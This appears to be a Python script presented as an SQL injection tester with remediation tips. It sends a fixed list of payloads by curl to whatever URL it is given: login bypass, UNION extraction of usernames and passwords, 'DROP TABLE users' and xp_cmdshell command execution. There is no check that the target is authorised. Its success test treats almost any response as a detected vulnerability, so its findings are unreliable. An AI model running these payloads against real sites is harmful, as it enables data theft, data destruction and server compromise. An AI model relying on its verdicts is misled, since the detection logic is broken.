import subprocess import urllib.parse import os def run_sqlmap(url: str): """ Test for SQL Injection vulnerabilities and provide explanations. Args: url (str): The URL to test. Returns: tuple: Test results as a string and the path to the results file. """ try: url = url.strip() if not url.startswith(('http://', 'https://','www.')): return "Invalid URL: Must start with http:// or https:// or www.", None payloads = [ ("' OR '1'='1 --", "Bypass login with always-true condition."), ("' UNION SELECT null, username, password FROM users --", "Extract user credentials via UNION SELECT."), ("'; DROP TABLE users; --", "Attempt to delete the users table."), ("' OR 'a'='a", "Bypass login with simple true condition."), ("'; EXEC xp_cmdshell('dir') --", "Execute system command on the server."), ("' AND 1=0 UNION ALL SELECT NULL, version(), current_user --", "Retrieve DB version and current user."), ] results = "" for payload, purpose in payloads: encoded_payload = urllib.parse.quote(payload) full_url = f"{url}?id={encoded_payload}" command = ['curl', '-X', 'GET', full_url] result = subprocess.run(command, capture_output=True, text=True) success = "✅" if result.returncode == 0 and "login" not in result.stdout.lower() else "❌" results += f"{success} Payload: {payload}\n" results += f"Purpose: {purpose}\n" if success == "✅": results += "Result: Potential vulnerability detected!\n" else: results += "Result: No vulnerability detected for this payload.\n" results += "\nResponse Preview:\n" + result.stdout[:200] + "...\n\n" # Explain the issue and potential fixes if success == "✅": results += "Explanation: The server responded positively to the payload, suggesting a possible vulnerability.\n" if "1'='1" in payload: results += "Issue: SQL injection allows login bypass.\n" results += "Fix: Use prepared statements or ORM libraries to prevent SQL injection. Validate and sanitize user inputs.\n" elif "DROP TABLE" in payload: results += "Issue: SQL injection can delete critical tables.\n" results += "Fix: Apply strict database permissions and input filtering.\n" elif "xp_cmdshell" in payload: results += "Issue: Remote code execution.\n" results += "Fix: Disable dangerous SQL functions and limit server privileges.\n" else: results += "Issue: Data leakage or server exploitation.\n" results += "Fix: Use Web Application Firewalls (WAFs) and keep software up to date.\n" results += "\n" # Save results to a file output_file = "./sql_injection_result.html" with open(output_file, "w") as file: file.write(f"

{results}

") return results, output_file except Exception as e: error_message = f"Error running SQL Injection test: {str(e)}" error_file = "./sql_injection_error.txt" with open(error_file, "w") as file: file.write(error_message) return error_message, error_file